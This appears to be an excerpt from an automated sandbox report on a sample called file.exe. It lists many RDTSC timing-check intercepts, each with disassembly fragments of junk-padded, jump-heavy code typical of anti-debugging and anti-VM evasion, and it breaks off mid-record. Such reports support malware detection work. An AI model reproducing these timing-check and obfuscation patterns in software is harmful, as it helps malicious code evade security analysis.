Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BA4 second address: 676BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BAB second address: 676BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A11 second address: 676A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F4F7D4AED16h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4F7D4AED29h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A3B second address: 676A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F0B5 second address: 67F0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Eh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F0CB second address: 67F0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4F7C812088h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F0EB second address: 67F0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA62 second address: 67DA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F4F7C812076h 0x0000000c popad 0x0000000d jns 00007F4F7C812082h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 jo 00007F4F7C812076h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DA8B second address: 67DAC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED23h 0x00000007 jmp 00007F4F7D4AED21h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F4F7D4AED1Eh 0x00000013 popad 0x00000014 push esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF4E second address: 67DF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F7C81207Ch 0x0000000a jnc 00007F4F7C812076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF5E second address: 67DF6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E0AF second address: 67E0BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F4F7C812076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E20E second address: 67E21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4F7D4AED18h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E21A second address: 67E23E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F4F7C812076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E23E second address: 67E24A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnp 00007F4F7D4AED16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EDBA second address: 67EDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EDC0 second address: 67EDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4F7D4AED21h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F4F7D4AED22h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EDEC second address: 67EDF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682E60 second address: 682E79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7D4AED24h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682E79 second address: 682E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682E7F second address: 682E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682E8A second address: 682E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682E8E second address: 682EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B50 second address: 682B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B56 second address: 682B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4F7D4AED16h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F4F7D4AED16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B6B second address: 682B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A11E4 second address: 6A11F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3C19 second address: 6A3C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3C1D second address: 6A3C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F4F7D4AED2Ch 0x0000000e je 00007F4F7D4AED26h 0x00000014 jmp 00007F4F7D4AED1Ah 0x00000019 jng 00007F4F7D4AED16h 0x0000001f jc 00007F4F7D4AED18h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b jmp 00007F4F7D4AED27h 0x00000030 pushad 0x00000031 popad 0x00000032 pop ecx 0x00000033 pushad 0x00000034 jo 00007F4F7D4AED16h 0x0000003a jnc 00007F4F7D4AED16h 0x00000040 push eax 0x00000041 pop eax 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3C8D second address: 6A3C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3DD8 second address: 6A3E1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F4F7D4AED16h 0x0000000d jmp 00007F4F7D4AED21h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jo 00007F4F7D4AED16h 0x0000001a popad 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4F7D4AED23h 0x00000023 js 00007F4F7D4AED32h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3E1D second address: 6A3E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812086h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3E37 second address: 6A3E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9828 second address: 6B9834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9834 second address: 6B9838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B99BF second address: 6B99E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4F7C812076h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4F7C812086h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B99E6 second address: 6B9A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F4F7D4AED16h 0x00000010 jmp 00007F4F7D4AED1Ah 0x00000015 ja 00007F4F7D4AED16h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9A18 second address: 6B9A2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4F7C812076h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jnc 00007F4F7C812076h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9B77 second address: 6B9B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF738 second address: 6BF747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7C81207Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF7F9 second address: 6BF7FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFA1B second address: 6BFA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFC74 second address: 6BFC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0FB6 second address: 6C0FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0FBA second address: 6C0FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0FBE second address: 6C0FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F4F7C812076h 0x00000010 jmp 00007F4F7C812089h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2ECB second address: 6C2EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F4F7D4AED1Ah 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2EE2 second address: 6C2EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2EE8 second address: 6C2F0A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4F7D4AED16h 0x00000008 jmp 00007F4F7D4AED20h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F4F7D4AED1Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2A46 second address: 6C2A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2A4A second address: 6C2A72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4F7D4AED1Bh 0x0000000e pop edx 0x0000000f push ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 jmp 00007F4F7D4AED1Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4B5F second address: 6C4B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F4F7C812083h 0x0000000c jmp 00007F4F7C812089h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51302D0 second address: 5130369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F7D4AED21h 0x00000009 sbb eax, 39958006h 0x0000000f jmp 00007F4F7D4AED21h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F4F7D4AED20h 0x0000001b sbb eax, 5A95DEA8h 0x00000021 jmp 00007F4F7D4AED1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebp, esp 0x0000002c jmp 00007F4F7D4AED26h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F4F7D4AED1Dh 0x0000003b sub ax, 4976h 0x00000040 jmp 00007F4F7D4AED21h 0x00000045 popfd 0x00000046 mov si, 2067h 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303DC second address: 51303E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4580 second address: 5D4584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4584 second address: 5D458E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D458E second address: 5D4594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4594 second address: 5D4598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D475B second address: 5D475F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D475F second address: 5D4765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4765 second address: 5D478F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4F7D4AED29h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c ja 00007F4F7D4AED24h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D478F second address: 5D4793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513043E second address: 5130484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4F7D4AED21h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F4F7D4AED1Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130484 second address: 5130488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130488 second address: 513048E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130555 second address: 513055B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513055B second address: 513056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513056A second address: 51305CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F4FEC4D5AF6h 0x0000000d push 74DF27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [74E80140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F4F7C81207Eh 0x00000059 adc ah, FFFFFFA8h 0x0000005c jmp 00007F4F7C81207Bh 0x00000061 popfd 0x00000062 popad 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a pushfd 0x0000006b jmp 00007F4F7C81207Bh 0x00000070 and cx, 59EEh 0x00000075 jmp 00007F4F7C812089h 0x0000007a popfd 0x0000007b pushad 0x0000007c popad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51305CC second address: 513061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F4F7D4AED26h 0x00000011 mov esi, edx 0x00000013 pushad 0x00000014 mov esi, 565E859Dh 0x00000019 mov ax, DE99h 0x0000001d popad 0x0000001e mov al, byte ptr [edx] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F4F7D4AED1Bh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513061C second address: 5130634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7C812084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130634 second address: 513065D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4F7D4AED25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513065D second address: 513061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c call 00007F4F7C81207Ch 0x00000011 pushfd 0x00000012 jmp 00007F4F7C812082h 0x00000017 and si, 9548h 0x0000001c jmp 00007F4F7C81207Bh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 movsx ebx, cx 0x00000026 popad 0x00000027 jne 00007F4F7C811FD3h 0x0000002d mov al, byte ptr [edx] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F4F7C81207Bh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306C9 second address: 5130709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F4F7D4AED28h 0x00000013 pop ecx 0x00000014 mov bx, 9D26h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130709 second address: 513071C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513071C second address: 5130754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F4F7D4AED23h 0x0000000a xor cx, 005Eh 0x0000000f jmp 00007F4F7D4AED29h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130754 second address: 5130766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b dec edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130766 second address: 513076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513076A second address: 5130770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130770 second address: 5130789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130789 second address: 513078D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513078D second address: 513079E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513079E second address: 51307A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307A4 second address: 51307AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307AA second address: 51307AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307AE second address: 5130893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f mov esi, 6E3462EBh 0x00000014 pushfd 0x00000015 jmp 00007F4F7D4AED20h 0x0000001a sbb esi, 15D5F378h 0x00000020 jmp 00007F4F7D4AED1Bh 0x00000025 popfd 0x00000026 popad 0x00000027 inc edi 0x00000028 pushad 0x00000029 mov bx, cx 0x0000002c jmp 00007F4F7D4AED20h 0x00000031 popad 0x00000032 test al, al 0x00000034 jmp 00007F4F7D4AED20h 0x00000039 jne 00007F4FED166F79h 0x0000003f jmp 00007F4F7D4AED20h 0x00000044 mov ecx, edx 0x00000046 jmp 00007F4F7D4AED20h 0x0000004b shr ecx, 02h 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007F4F7D4AED1Dh 0x00000057 add ax, E6D6h 0x0000005c jmp 00007F4F7D4AED21h 0x00000061 popfd 0x00000062 pushfd 0x00000063 jmp 